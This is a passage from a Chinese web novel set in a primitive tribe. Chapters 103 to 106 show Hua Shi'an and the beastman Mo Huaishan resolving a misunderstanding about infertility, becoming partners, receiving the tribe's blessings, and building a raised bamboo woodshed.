窗户只开了一扇,朝向族人休息睡觉的树洞,方便通风透气,另一边是饲养小动物的树洞,风吹过来多少有点味儿,不适合开窗。 门一共开了两扇,灶台后方要加盖柴房,开一扇后门方便拿取柴火;前门开在面向营地一侧,到时候可以和食堂门对门,打菜打饭比较近,不用绕路。 除了还没来得及安装的门窗,以及顶上光秃秃的房顶,厨房基本已经完工了。还是很不错的,竹为骨,竹为墙,藏于林间的竹屋简单却不简陋,规整干净,小而温馨。 难怪都说房子是地球人的执念,看着眼前小巧玲珑的竹屋,花时安嘴角扬起愉悦的弧度,对房屋的渴望在这一刻达到了顶峰。 得加快速度了,厨房、柴房、牲口圈、食堂,营地改造完成之后——该过自己的日子了,他要盖一座完完全全属于自己的房子。 溜达到河边洗了个冰冰凉凉的冷水澡,积攒一天的疲惫缓解了不少,花时安踩着斜坡爬上河岸,营地已经热闹起来了,外出归来的族人里三层外三层地围着竹屋,仿佛初到景点的游客,好奇地打量,激烈地探讨。 而在一片喧嚣中,大族长与洗完澡的兽人当起了讲解员,绘声绘色地为族人介绍。 花时安没有跑过去凑热闹,站在草地上远远看了一眼,转身走向自家歪脖子树。 昨晚本就没睡好,今天又神经紧绷,一刻不停地忙活,花时安真的是身心俱疲,这会儿一放松下来,太阳穴突突突地直跳,脑袋隐隐作痛。 肚子饿,脑袋痛,整个人又累又困……被竹屋榨干了,花时安现在什么都不想做,只想往竹床上一躺,睡个昏天暗地。 可有的人似乎不这么想,花时安推开竹门钻进树洞,脱下洗澡时一并洗干净的衣裙,换了一身干爽的衣物。湿衣服挂在树洞门口晾着,他缩回树洞正要关门,一只粗粝的手掌抵住了门缝。 对方力气很大,硬生生将快要关闭的竹门推开,一反常态的强势。可推开竹门对上花时安无波无澜的眸子,来人嘴唇紧抿,瞬间红了眼眶。 高大的兽人佝偻着背,抵着门缝的手微微颤抖。他好似一只被主人抛弃的大狗,历经千难万险重新走回家门前,浸润水光的眸子盈着委屈,茫然无措地质问: “时安,你、你真的不要我了吗?” 第103章 第 103 章 别不要我 夜色浓稠, 大门紧闭的树洞幽暗而寂静。矮脚竹床边坐着一高一矮两个身影,仿佛两座栩栩如生的雕像,一动不动,一声不吭, 只有轻浅的呼吸声萦绕。 你真的不要我了吗…… 花时安没有回答兽人哽咽的质问, 但想到大族长早上那些话, 他犹豫再三,开门把人放了进来。 不过这不代表他不生气了,这么长时间不找他,不说话,如果是在现代社会谈恋爱,这种情况基本默认分手了。 而莫淮山呢, 十天半个月不闻不问,找上门还一副受了天大委屈的模样,花时安搞不懂了,怎么搞得他像一个始乱终弃的渣男一样? 气氛略显压抑,似乎不开口就能一直僵持天亮,花时安有的是耐心,但余光扫过对方茫然无措的眸子, 被牙齿咬到泛白的下唇, 终究是于心不忍。 不忍心但也不想委屈嘴,花时安没有说好话的打算, 嘴巴跟淬了毒似的, 张口就是冷冰冰一句:“打算这样坐到天亮吗?有事说事,我困了,想睡觉。” 埋头抠指甲的莫淮山微微一顿,嘴唇张张合合, 好半天才从唇缝中挤出一句:“还没吃饭呢时安,要吃饱了再睡,不然晚上肚子饿,会难受。” 找他唠家常来了? 花时安气不打一处来,无语地笑了一声,“我饿不饿用不着你操心,没什么事就走吧,我要睡——” “不要,我不走。”莫淮山飞快地摇摇头,跟小孩一样耍起了无赖,双手紧紧抠着床沿,打算把自己焊死在竹床上。 不肯走,又一句解释都没有,花时安心中无名火烧得更旺,忍不住阴阳怪气道:“不走是吧?那你就在这睡吧。” “可以吗?”莫淮山当真了,黯淡的眸子瞬间亮了起来。 “当然可以。”花时安嗤笑一声,说着便起身走向洞口,“树洞留给你,想怎么睡怎么睡,你不走,我走。” 竹床与竹桌之间仅有一条狭窄的过道,莫淮山的大长腿垂在床沿边,过道就更窄了。花时安侧着身子艰难从兽人身前挤过去,指尖刚碰到竹门,一只温热的大手忽然揽着他的腰,猛地往后一拽。 力气非常大,不容抗拒,花时安像小鸡崽一样被搂了回去。身体失去平衡东倒西歪,眼看就要和地面来个亲密接触,另一只手及时托了他一把,然后——花时安屁股下一软,踉跄坐在了一个肉垫上。 很奇怪的姿势,花时安侧身坐在了兽人的大腿上,对方健壮有力的双臂好似铁钳,死死缠着花时安的腰,紧紧将他抱在怀中。 体型差得不是一星半点,花时安被兽人搂在怀中,好似在身上裹了一张厚实的羊毛毯。属于另一个人的体温从四面八方传来,全方位包裹,花时安终于从震惊中找回了些许理智,用力掰莫淮山的手,手脚并用地挣扎。 “放手,放开我!” “莫淮山,我生气了,你到底要干嘛!” 力量悬殊,花时安使出浑身解数也无济于事,莫淮山双臂箍着他,反而将他抱得更紧了一点,下巴抵着肩膀,脸颊埋在颈侧。 火气噌噌往上冒,花时安一拳捶在他腰上,正要发火,一滴温热的水珠突然落在锁骨,紧接着,兽人喑哑哽咽的嗓音划过耳畔:“你答应过我的,回来就做我的伴侣,我是不是做错了什么?我可以改的,不要看别人,不要赶我走,时安,时安……别不要我。” 身体止不住地颤抖,高大健硕的兽人埋在花时安颈侧不停掉眼泪,像个犯了错又不知道错哪的小孩,声音哽咽,泣不成声。 心中燃烧的火苗歘一下就灭了,花时安喉咙一紧,鼻尖泛起酸意。 火可以不发,话还是要说清楚,花时安压下心中翻涌的情绪,吸了吸鼻子轻声道:“莫淮山你不要倒打一耙,晾着我十天半个月的人是谁?还我不要你,分明是你不要我。” “不是的,不是的。” 莫淮山紧紧抱着花时安,着急忙慌地为自己辩解:“我做梦都想和时安在一起,不会不要你,永远不会。我不是故意晾着你,只是遇到了一点事,我、我想处理好了再告诉你。” 花时安明知故问:“什么事?” 兽人身体明显一僵,双手无意识攥紧花时安的棕衣。 本来就没打算瞒着,但话到嘴边,莫淮山不由紧张起来。会被嫌弃吗,会被抛弃吗,他心脏怦怦狂跳,呼吸愈发急促,犹豫再三,坦然奔赴刑场。 “从外面回来那天晚上,我和大族长睡在一个树洞,他给我说了一个关于我,却连我也不知道的秘密。他说……我、我身体有问题,不能、不能让亚兽孕育幼崽。” 哽咽无声,泪水却濡湿了脸庞,兽人几乎是咬着牙,一个字一个字地拼凑成一句话。同时他双臂快速收紧,严丝合缝地贴着花时安的身体,生怕人丢下他跑了似的。 “大族长说,这是不能改变的,嚼再多草药也没有用。时安,我、我会害了你,和我在一起就不会有幼崽,你永远……永远当不了阿父。” “你这么好,这么优秀,本可以找一个更好的兽人,生一群聪明的幼崽。”莫淮山顿了顿,用胳膊蹭了蹭眼泪,抬头看着花时安的眼睛,“我不够强大,还不能让亚兽孕育幼崽,我配不上你。可时安,我控制不住自己,我舍不得,舍不得放开你,让你和别人在一起。” “给我一次机会好不好?我会努力强大起来,抓很多很多猎物,干很多很多的活。我会对你好的,活儿全给我干,肉全给你吃,不要嫌弃我,别不要我。” 干活、吃肉,这些承诺不足以打动活了两辈子的花时安,可对于一无所有的兽人而言,这已经是他能拿出来的全部。 泪眼蒙眬的眸子直勾勾地盯着自己,满是真挚与诚恳,还有一闪而过的哀求。眼眶莫名有点热,花时安垂眸错开视线,低声喃喃:“你说的这些,我早就知道了。” “什、什么?”莫淮山呼吸一滞,错愕地瞪大眼睛,嘴唇剧烈颤抖,“你、你是什么时候知道的?” 花时安:“过冬之前,木族长告诉我的。” 去年冬天…… 莫淮山思绪飘远,陷入回忆。 去年冬天他们已经很熟悉了,关系比其他族人都要亲近,但真正让他们靠近彼此,关系更进一步时,正是在去年冬天。 那个时候就知道他身体有问题,不能生育,花时安却还是选择靠近他,与他在一起。这能说明什么?说明困扰他的难题在花时安眼里根本不值一提,甚至从未在意。 从天而降的巨大喜悦把莫淮山砸蒙了,他满眼不可置信地看着花时安,眼下还斑驳着水光淋漓的泪痕,却又忽地笑出声,“时安,时安,原来你早就知道了,你从来没有嫌弃过我。” 人与人的悲喜并不相通,莫淮山多云转晴,花时安依旧板着脸,冷冰冰道:“是啊,我从未嫌弃,从不在意,只想和你好好在一起,但你呢?为什么十多天不闻不问,是不相信我,还是打算放弃我了?” “不会放弃你的时安,我放不下。”莫淮山小心翼翼抓住花时安的手,见他没有反抗,轻轻将手指嵌进指缝中,与他十指相扣。 “孕育幼崽是兽人和亚兽的人生大事,听说这个事的时候我很难过,一时有点接受不了,也确实担心你不能接受。只是两天我就想通了,我的时安这么好,一定、一定不会嫌弃我的,但我也不能空着手求偶,给不了你幼崽,必须给你备些东西。” 又是求偶礼物,花时安气笑了,“十多天就抓到猎物,这次运气还算不错。那万一要是像之前一样,很长时间抓不到猎物呢?一年半载不闻不问?” “不是。”莫淮山猛地摇摇头,似乎也在为曾经的选择后悔,眼底闪烁着浓浓的愧色。短暂地沉默后,他抬起与花时安十指紧扣的手,在他手背印下一个吻,磕磕巴巴地解释:“其实、其实还有一个原因。” “部落以前有个传闻,据说得到族人真心祝福的伴侣会一直幸福下去,永远不分开。大族长反对我们在一起,族人也不会祝福我们,我必须争取,我想让他同意,想得到族人的祝福,想和时安一直在一起。” 花时安挑了下眉,“就因为这个?就算要得到族人的祝福,你为什么不告诉我?我不能和你一起争取,一起面对?” 莫淮山:“大族长反对得厉害,态度强硬,说话也不太好听。最近部落事多,你已经很操心了,我不想你因为这个烦恼、担心。” 不对劲,十分有九分不对劲,花时安总觉得他中间少说了点什么。 准备求偶礼物也好,征得族长同意也罢,这并不是什么丢人的事,如果单纯不想让他操心,何至于十天半个月不跟他说话,甚至刻意保持距离? 以花时安对莫淮山的了解,他一定因为配不上自己而动摇过。自卑敏感,极度缺乏自信,动摇很正常,只要他最后坚定地选择了自己,花时安可以不在乎。 但这段时日……到底瞒着他在做什么? 猜不出来就诈,花时安抬眸对上兽人的视线,垂在身侧的左手缓缓抬起,沿着泪痕抚摸兽人的脸颊,低声蛊惑:“淮山,我可以不生气,可以原谅你,甚至我们今晚就可以结成伴侣。但我的兽人不光要对我好,他还要绝对坦诚,不能有任何事情隐瞒我,你——能做到吗?” 兽人肉眼可见地慌了一瞬,低眉敛目错开视线,哑着嗓子道:“如果、如果答应了,又没做到呢?我是说如果。” “分开,彻彻底底地分开,你我再无可能。” 第104章 第 104 章 做我的伴侣 树洞重归寂静, 莫淮山再次化作雕像静止不动,搂在腰间的手却愈发用力,越收越紧,勒得花时安险些喘不上气。 再不说话要被勒死在怀里了, 花时安抽出被莫淮山捏变形的右手, 环在他脖颈之上。化被动为主动, 花时安抱着他,身体与他贴的更紧,强行对上他飘忽闪躲的眸子,低声安抚: “来得及的淮山,如果有什么事情瞒着我,现在坦白还不晚。我们结成伴侣是要过一辈子的对不对?坦诚相待, 互相信任,这是最基本的。” 避无可避,莫淮山埋在花时安颈侧深吸了一口,从他身上吸取能量与勇气,而后小声嘟囔了一句:“如果、如果我做不了不好的事情,你能原谅我吗?你可以生气,可以责怪我, 但是不能、不能不要我。” 花时安轻轻拍了拍他的后背, “我答应你,只要不是原则性问题, 我不生气, 说完就算过去了。” “原则性问题,是、是什么?”莫淮山心虚地问。 “嗯……” 花时安琢磨片刻,“瞒着我做坏事,不利于我的事情, 比如这段时间,你故意把我推给别的兽人,或者你偷偷和别的亚兽纠缠——” “我不会的,我和别的亚兽连话都没怎么说过。”莫淮山打断他的话,说话也不磕巴了,流利地表忠心:“从小到大,我没有什么特别想要的东西,唯独你。我想和你结成伴侣,特别特别想,做梦都想。” 情话固然动人,真相更令人好奇,花时安捏了捏莫淮山饱满的耳垂,低低笑了一声:“说的比唱的好听,这么想和我在一起,为什么还要把我推给别人?” 莫淮山神情骤变,瞳孔猛地一缩,“你、你知道了?” 兽人学坏了,居然学会了说谎,但他骨子里仍是一个老实本分的人,在不擅长的领域发挥得不够好,以至于漏洞百出。 两个“原则性问题”只解释一个,后者没做过,底气十足地解释,而前者呢,心虚到只字不提,多半是干过了。 得到确切的答案,花时安喉咙一紧,心里有点不是滋味。但他没有生气,呆呆地看着莫淮山,一字一顿地问:“为什么呢?是不是该给我一个解释?” 他嘴唇紧抿,神情难掩失落,澄澈的眸子里再无往日风采,透露着一股浓浓的悲伤,黯淡无光。 从未见过花时安这般模样,莫淮山慌了,忙地抱紧亚兽,语无伦次地解释:“别难过,别哭时安,我说,我说,我都告诉你。” “我坏,我不好,我是一个自私的兽人。时安你肯定不知道,得知自己不能让亚兽孕育幼崽的时候,我下意识想的是……该怎么瞒着你。” 泪痕未消,晶莹的热泪再度涌出眼眶。 在爱人面前剖开阴暗的内心需要勇气,莫淮山极力压低脑袋,生怕看到花时安厌恶的眼神,嗓音愈发哽咽:“大族长说得没错,这不是一件小事,不论哪个亚兽都接受不了,何况是时安你。” “可我、可我不想失去你,我没有任何办法了,所以……我求大族长不要告诉你,帮我瞒着你。大族正直无私,原以为他不会答应这种无理的要求,但没想到,他居然答应了。” 花时安眉头越拧越紧,眸子逐渐冷了下去,“他答应帮你瞒着我,前提是这段时间少和我说话,和我保持距离?那你知道吗淮山,他为什么让你和我保持距离?” 莫淮山小鸡啄米似的点点头,“知、知道,他想拆散我们,想让你……和别的兽人接触。” 这都什么破事啊! 花时安又气又好笑,重重一拳捶在莫淮山肩膀上,“莫淮山,你到底是傻还是缺心眼?我都不知道怎么说你。说你信任我吧,你又不相信我会接受你的缺陷,说你不信我吧,你又放心大胆地让我去和别人接触,就这么相信我?万一我变心了,跟别人好了怎么办?” 拳头捶在身上不为所动,一句“万一我变心了”,好似一把锋利的刀子猛地戳进胸口,莫淮山肩膀一颤,零星的哽咽从喉咙里溢了出来,“我没有放心大胆,我一点都不放心,可是还能怎么办啊时安?” “我也很矛盾,有一道声音一直在耳边蛊惑我,让我瞒着你,先和你结成伴侣再说,但另一道声音又在告诉我,不要害了你,你看上别人也好,只要你能过得幸福,生一个健康聪明的幼崽……” 压抑已久的情绪彻底释放,莫淮山紧紧抱着花时安,身体止不住地颤抖,泪水犹如决堤洪水,转瞬便打湿了花时安的颈窝。 被人冷落的怨气在这一刻散得干干净净,花时安咬着下唇极力克制,仍有热泪滑过脸庞。 他错了,他低估了不能生育这件事对一个原始兽人的打击。兽人没有他先进开明的思想,也不知道他并不在乎幼崽,只会把一切归咎于自身,自责、懊恼、纠结…… 分明可以直接说清楚的,却因为赌气,留他独自承受。 眼泪从下巴滴落,砸在了兽人肩膀上,埋头啜泣的莫淮山先是一愣,而后飞快地抬起头。 黑暗中反光的泪水尤为刺眼,莫淮山眉头紧拧,着急忙慌地帮他擦泪,“别哭,时安不要哭,我、我没有放弃你。” “虽然和大族长约定好了,但我说话不算话,隔天就后悔了,一直在和他争取。我不想让你和别人在一起,尤其昨晚看到长晴跟你求偶,我好难受,胸口特别痛,险些跑过来丢掉她的兽皮。” “昨晚我一夜没睡,我想好了,哪怕是瞒着你,哪怕会害了你,我也要和你结成伴侣。是你先招惹我的,你说过心悦我,不能不要我,就算你不要我,我也会一直缠着你,死皮赖脸地缠着你,不让你找别人。” 分手也要死皮赖脸地缠着,这样极端的方式对别人而言或许有点可怕,但对花时安这样的淡人来说,正好合适,他需要这种浓烈的情感,谁都别想放手,不死不休。 “傻子。”花时安摸了摸他的脸,破涕为笑,“真的好傻啊,我怎么就这么喜欢呢?” 莫淮山用脸蹭他的手,“我能一直傻,只要时安喜欢。” 花时安俯身凑近,鼻尖贴着他的鼻尖,轻轻磨蹭,“蹬鼻子上脸,骂你还当夸奖了,要不要脸?” “要时安,不要脸。” 莫淮山下巴微抬,错开鼻尖,堵住了眼前这张伤人的嘴。 堵在心口的疙瘩只有亲近才能消融,花时安没有拒绝送上门的兽人。唇瓣相贴,他反客为主挑开兽人的唇齿,将一个简单的触碰变成了一个不容抗拒的深吻。 与上次温柔缱绻的吻截然不同,花时安犹如一头三天饿九顿的野兽,粗暴而蛮横,双手揪着莫淮山的头发,肆无忌惮地啃咬,舌尖甚至尝到了淡淡的血腥味。 似乎在发泄内心的不满,又像是……失而复得,迫不及待地与对方亲近,然后彻彻底底地融为一体。 两个人都有些失控,抱着彼此接了一个无比漫长的吻,营地里吆喝吃饭,吃完饭的族人陆续散开,他们仍抱在一起接吻。 头有点晕,估计是缺氧了,花时安恋恋不舍地与莫淮山分开,吮掉他下唇冒出来的小血珠,趴在他肩膀上大口呼吸,“呼——我原谅你了莫淮山,但你要答应我,从今往后,不论大事小事,什么事都不能瞒着我。” “我们无父无母,就剩彼此了,是世界上最亲近的两个人。高兴的事要学会分享,一起高兴,一起笑;难过或不能解决的事要学会商量,一起分担,一起面对。” 莫淮山吻了吻花时安柔软的发丝,郑重其事地“嗯”了一声,“谢谢你时安。我知道了,我记住了,以后不会有任何事瞒着你。” “谢我做什么?”花时安问。 莫淮山吸了吸鼻子:“谢谢你原谅我,谢谢你给我机会。我会对你好的,一辈子对你好。” “傻子。”花时安在他肩膀上咬了一口,“感情上不说谢,我又不是为了你,我是为了满足我自己,谁让、谁让我喜欢你呢。” 莫淮山呼吸一滞,“时安……” “先别时安了,我必须和你说清楚。”花时安坐直了,盯着莫淮山的眼睛,认认真真道:“别觉得亏欠我什么的,我不喜欢幼崽,从没想过生幼崽,你不生对我来说是好事!”省得将来还要想办法避孕。 “我不在乎你能不能生,不在乎有没有本事,给不给我准备礼物,我只在乎你这个人,独一无二的傻子。” 花时安捏了捏他的脸,吧唧一口亲在他嘴巴上,“自信一点好吗,我心悦你,我喜欢你!我要得很简单,好好和我在一起,给我一个家。” 他绝对是世界上最幸运,最幸福的兽人。 像做梦一样,莫淮山激动得手都在抖,只觉得眼眶一热,又红又肿的眼睛再度蓄满泪水,“我也心悦你,喜欢你。” 花时安擦掉他的眼泪,很认真地问:“那你愿意吗?” “什、什么?”莫淮山一时没反应过来。 “当然是——” 花时安明眸稍弯,粲然一笑,“做我的伴侣。” 生怕他反悔似的,莫淮山猛猛点头,毫不迟疑道: “愿意,特别愿意!” 像春天的阳光照在身上一样,花时安从头到脚,从身到心,整个儿都暖洋洋的。他搂着莫淮山的脖颈,蜷在他怀里,正要放松享受难得的温情时刻,对方低沉沙哑的嗓音如微风拂过耳畔: “时安,那……我今晚能留在这吗?” 第105章 第 105 章 祝福 兽人和亚兽进了同一个树洞, 一晚上不见人,连晚饭都没出来吃,只要不是傻子都知道发生了什么。所以第二天一早,花时安和莫淮山走出树洞, 碰到的族人全都默契送上祝福。 巨明两口子洗漱完回来, 正好路过歪脖子树, 花时安开门就和他们来了个面对面。四目相对,巨明和他伴侣先是一愣,而后看着花时安身后的莫淮山笑出声,大大方方送上祝福: “祭司大人,淮山,恭喜恭喜, 恭喜你们结成伴侣!” 他的伴侣是个腼腆文静的女生,盯着花时安和莫淮山嘴唇上的伤口,顿时闹了个大红脸。不过只是一瞬间的难为情,她笑吟吟地抬起头,颇为郑重其事道:“恭喜你们呀,结成伴侣了就要好好过日子,要幸福。” 发自内心的祝福极为悦耳, 花时安嘴角不受控制地扬起, 笑着朝两人点了点头,“谢谢你们, 我们会把日子过好的。” 没有过多逗留, 巨明与伴侣送完祝福便继续往前走。 经过莫淮山身旁时,他脚步微顿,伸手拍了拍兽人的肩膀,小声嘱咐:“你小子走大运了, 祭司大人连队长都看不上,居然看上了你。机会就一次,好好把握,好好对他。” “放心吧,我会的。”莫淮山重重点下头。 清早刚起床,部落里到处都是人,告别巨明两口子继续往营地走,没走出几步又碰到了在河边洗漱的采集队,十几二十号亚兽人。 瞅见他俩路过,那叫一个不得了,亚兽脸不洗了,牙不刷了,扭头就冲着花时安和莫淮山起哄,“呜呜哦哦呼呼”一顿鬼哭狼嚎的怪叫。 这大阵仗,自诩脸皮厚的花时安都被他们给闹得不好意思了,低着头就要逃离现场,而这时,莫淮山一把拽住他,将与花时安交握的手举到众人面前,难掩喜悦道:“谢谢大家的祝福,我、我们在一起了。” 这下更不得了,河边炸开了锅,瞬间沸腾起来。 “哟哟哟,特意牵手给我们看啊?” “啊啊啊啊啊——祭司大人居然和傻大个结成伴侣了!” “可恶!可恶的傻大个,把我们祭司大人勾搭走了!” “呜呜呜,祭司大人一定要幸福。” “好羡慕好嫉妒,为什么我不是兽人!我也想和祭司大人结成伴侣!” “呵,洗洗睡吧,梦里什么都有。” “莫淮山,好好对祭司大人,不许欺负他,不然我们不会放过你的!” “好好过日子,好好在一起,早点生个大胖崽子!” …… 得到族人真心祝福的伴侣才会长久?花时安不信这些虚无缥缈的东西,但好话谁不爱听呢,诚挚的祝福听在耳朵里,甜在心里,简直就跟喝了蜂蜜似的。 洗漱完来到营地吃早饭,莫淮山刚露面被一群兽人裹挟着带走了,而花时安这边,端着碗就被相熟的亚兽围了起来,一个个用那种八卦、探究的眼神死死盯着他。 数双浑圆的眼睛比正午的太阳还要炙热,这早饭真是吃不了一点,花时安被盯得极其不自在,即将喂到嘴里的野菜又重新放回碗里,无奈抬头看向众人,“想说什么就说,想问什么就问,别在这大眼瞪小眼,别扭死了。” “真的吗?那我就不客气了祭司大人。” 红映把野菜嚼吧嚼吧咽下去,忙地问道:“你和莫淮山到底怎么回事呀?前阵子见面一句话都不说,跟陌生人一样,怎么突然就结成伴侣了?” 很寻常的问题,花时安笑了笑,如实回答道:“这很正常吧,伴侣和伴侣之间也会因为误会和矛盾而闹别扭,我们之前有点误会,解释清楚了就自然而然地在一起了呗。” “误会?他欺负你了?”红映兰秒变严肃,义愤填膺。 花时安摆摆手,“哪能啊,你们祭司大人看着像是会被欺负的样子?” “那倒也是。”红映兰嘿嘿一笑,抬起胳膊撞了一下花时安的手臂,“恭喜祭司大人找到伴侣,和自己心悦的兽人在一起,祝你们和和美美,永远在一起。” 嘴巴真甜,花时安眼底笑意更浓,“谢谢。” 谢字的尾音还未消散,坐在一旁的长月月紧接着提出新的疑问:“祭司大人,那么多强大的兽人你都看不上,怎么就偏偏看上莫淮山了呢?那个,我不是说他不好的意思,我就是想问,心悦一个人,什么都不在意,只想和他在一起是种什么感觉?” 在座亚兽都是独身,对这个问题不是一般的感兴趣,一个两个饭也不吃了,端着碗凑到花时安身旁,竖起耳朵听。 可花时安又不是什么情感大师,感情上的事他也说不出个所以然,憋了半天只憋出一句:“这个东西很玄乎,每个人的情况不一样,等遇到那个让你心动的人自然就会明白。” 部落讲究择偶择优,担心把亚兽们教成不顾一切的恋爱脑,花时安沉吟片刻,又补充道:“我也并非什么都不在意,或许在你们看来,淮山不够强大,不够聪明,但他其实是一个很好的人,他善良、温柔、有责任心,有好东西绝对会优先给我,而遇到危险,他会第一时间保护我,哪怕是豁出性命。” “找伴侣要擦亮眼睛,能力不是衡量兽人的唯一标准,要找一个本身就很好的人。那种打骂伴侣,有福不能同享,遇到危险丢下伴侣不管的兽人,多优秀都不能要,记住了吗?” “记住了!”亚兽们齐声回答道。 情感导师不好当啊,像在幼儿园里教小朋友一样,怪累的。肚子饿得咕咕叫,花时安低头喝了一口热汤,重新夹起一筷子野菜。 刚吃上一口野菜,岩知乐的脑袋又凑了过来,刻意压低嗓音,神秘兮兮道:“祭司大人,你今天怎么还活蹦乱跳的,看着、看着一点事儿都没有。” 花时安头顶缓缓冒出一个问号,“我为什么要有事?” “啧,那个呀!”岩知乐挤眉弄眼,递给花时安一个耐人寻味的眼神。 见花时安还是一脸茫然,他一只手捂着嘴巴,用只有几个人能听到的气音说:“你们昨晚不是睡在一起吗?我可听说了,兽人太厉害的话,亚兽是会受伤的,走路一瘸一拐。祭司大人一点事都没有,就嘴巴有一点小伤口,莫淮山是不是不行啊?” woc!这是能在大庭广众之下聊的话题吗! 花时安惊了,一整个大写的尴尬,恨不得把岩知乐问出这个问题的嘴巴撕烂。 这种涉及隐私的问题当然可以不回答,但四个亚兽四张嘴,他这会儿要是敢逃避,明天“莫淮山不行”将会传遍部落,弄得人尽皆知。 都什么破事啊!花时安一个眼刀子甩给岩知乐,咬牙切齿道:“别给我胡说八道,淮山他一点问题都没有,昨晚、昨晚我们刚刚解除误会,只是单纯地睡觉。” “单纯睡觉?躺在床上纯聊天啊?” 完全没有意识到错误,岩知乐脑袋一歪,再度语出惊人:“可单纯睡觉的话,你怎么知道他没问题?祭司大人摸过了?” “岩知乐!”花时安碗一放,噌地站起身。 “你给我等着,你别跑,看我收不收拾你!” 不跑?傻子才不跑。岩知乐丢下碗忙不迭站起身,像一条灵活的泥鳅,赶在花时安靠近他之前,哧溜一下蹿出二里地。 躲得过初一躲不过十五,眼看花时安就要追上来了,岩知乐能屈能伸,双手举过头顶,低头道歉一气呵成:“错了错了,我知道错了祭司大人。” “哼,一句错了就完事了?”花时安成功抓到了岩知乐,按着他的脑袋就是一顿胡乱揉搓,“什么都敢说,什么都敢问,你还没找伴侣呢,一点都不知道害臊。” 岩知乐嘴硬如铁:“害什么臊,我迟早会找的。” “霍霍别人去,别霍霍我。” “哎呀我错了,别揉了祭司大人,头发乱成兔子窝了!傻大个,莫淮山,你伴侣欺负——唔唔唔……” “闭嘴!” 亚兽不听话怎么办?捂着嘴巴收拾一顿就老实了。 …… 吃完早饭,狩猎队和采集队又该外出了。而今天要盖柴房、给厨房安装门窗,花时安出不了门,只能目送一同吃完饭的伙伴收拾东西离开。 背上背篓,拿上工具,红映兰和岩知乐回头朝花时安挥了挥手。花时安笑着应了声“早点回来”,说完便转身离开,但没走出几步,他俩突然想到了什么,噔噔噔地跑了回来。 跑急了,红映兰气息略微有些喘,站在身前深吸两口气,看着花时安的眼睛认认真真道:“祭司大人,作为朋友,我们希望你过得好,过得幸福,和你的兽人长长久久。” “但听说有的兽人结成伴侣前一套,结成伴侣后一套,如果以后遇到什么事,你一定要告诉我们,千万不能憋在心里,让自己受委屈。” 岩知乐右手握拳,在胸口上“砰砰”捶了两拳,一本正经道:“对!他要是敢欺负你,我们找他去,收拾他,我们永远是你最坚强的后盾!” 一种说不清道不明的情绪涌上心头,兴许是太阳穿透云层升起来的缘故,花时安莫名有点热,眼眶热,心脏热,整个人都暖洋洋的,像泡在温泉里一样。 重活一世,从未感受过的爱情,从未体会过的友情通通拥有了,真好啊,这辈子绝对值了。 第106章 第 106 章 没关系,我教你 “哇, 这就又盖好了?太快了吧。” “是我的错觉吗,里面那间竹屋是不是更高,更漂亮?” “咦,你们看, 门窗安好了, 房顶也盖好了!” “房顶好特别, 竹片一正一反,一凸一凹,为什么要这样放?” “不知道,问问祭司大人去。” …… 暮色沉沉的傍晚,采集队外出归来,背篓一放便扎堆围在竹屋跟前, 七嘴八舌地议论,彻底走不动道了。 被夕阳染成橙色的营地中,又一座竹屋拔地而起,矗立在厨房后方。竹屋大小与厨房基本一致,比厨房高出些许,两间屋子门挨着门,房檐抵着房檐, 中间只有一条仅容一人通行的过道。 门窗均已安装好, 与树洞口弱不禁风的竹片门不同,厨房和柴房门用得是更为结实的老竹筒。竹材利用榫卯的咬合原理组装在一起, 连接在门框上, 不仅牢固实用,开关丝滑,还格外美观耐看。 窗户做得比较简单,复刻了古代建筑中常见的支摘窗, 上部可支起,下部可摘下,通过杆件支撑来调节开合,通风透气。 屋外屋内一圈看下来,木族长笑得合不拢嘴,对新柴房相当满意。耳目有染,绝大部分设计他都能看懂,比如窗户是为了通风透气,房顶是为了遮阳挡雨,屋顶上一正一反的竹瓦片是为了让雨水顺利滑落。 但柴房底部悬空,离地面至少有一个小臂的高度,进门直接接触到的也不是泥地,而是一个个竹筒镶嵌成的,光滑平整的竹地板。 为什么要把柴房抬高呢?竹地泥地反正都是用来堆柴,何必自找麻烦。正当疑惑之际,花时安厨房后门钻了出来,木族长眼睛一亮,飞快朝他招招手,“时安来,正找你呢。” 刚从河边洗完澡回来,花时安撩起额间湿漉漉的碎发,带着一身潮湿的水汽走上前,“怎么了族长?” “这个,”木族长退至门外,指着柴房悬空的底部,好奇地问:“柴房怎么跟厨房不一样?底下悬空,高出一大截是为什么?为了给地面铺竹子好看?” “哪能啊,真当我们闲着无聊找事做?不至于。” 花时安被木族长逗笑了,摆了摆手,盯着柴房耐心解释道:“这个呀,叫干栏式建筑,和厨房的结构有所不同。好看只是其中一个优点,这种构造主要是防潮防水。” “族长你看,”花时安往旁边挪了几步,越过厨房指了一圈四周,“咱们营地这片地势不算高,一到雨季地上肯定湿嗒嗒的,柴房要是不做抬高,雨水难免浸到屋内,堆在屋里的柴火岂不是白瞎了?” 木族长恍然大悟,两只手重重一拍,“妙啊!房屋抬高不跟地面直接接触,只要水淹不到竹地板,屋子里永远都是干干爽爽,这个想法简直太妙了!” 花时安得意一笑,“是吧,房子有多大,下面的空间就有多大,雨季防潮防水,其他季节还可以用来储物,放点农具什么的。” 木族长哈哈大笑几声,伸手在花时安肩膀上拍了拍,不遗余力地夸赞:“好小子,有你的,脑瓜子真好使啊,时不时就能冒出一些稀奇古怪的想法。” “不过,”木族长顿了顿,回头看向旁边比柴房矮上些许的厨房,不解地问:“厨房咋不一块抬起来?我都能想象到,过段时间一下雨,屋里又湿又滑,指定踩得跟水田一样。” 木族长都能想到的问题,花时安怎么会想不到。 但没办法,花时安在竹墙上砰砰拍了两下,扭头对木族长说道:“厨房是用来做饭的,离不开火,这竹子又易燃材料,晒干之后碰见火星子就着,我可不想一觉睡醒,营地里只剩一堆灰烬。” 这说得也太恐怖了,木族长冷不丁打了个寒颤。 “放心吧族长,不会让厨房变成水田的。”花时安脚尖轻点地面,说起自己的打算:“房子全部盖好后,我们准备在房屋四周挖几条沟渠,这样积水就可以通过沟渠流到田里,再通过农田排到小河里,保证厨房……呃,至少不会泥泞不堪。” “对哦,还能挖沟,我怎么没想到呢!” 问题解决了,木族长心情又好起来了,呲着个大牙欣赏刚建好的柴房。 转悠一圈回到厨房正门口,木族长终于发现少了点什么,问跟在身旁的花时安:“怎么只有你一个人,淮山、云朗他们,跟你一块干活的兽人跑哪去了?” 花时安:“下游湿地割芦苇去了。” “割芦苇做什么?”木族长又问。 “盖房顶。”花时安不紧不慢地解释:“用竹片盖的房顶总会有些缝隙,真到下雨天可能会漏雨,保险起见,我打算把芦苇晒干扎成草束,再加盖一层草顶。” 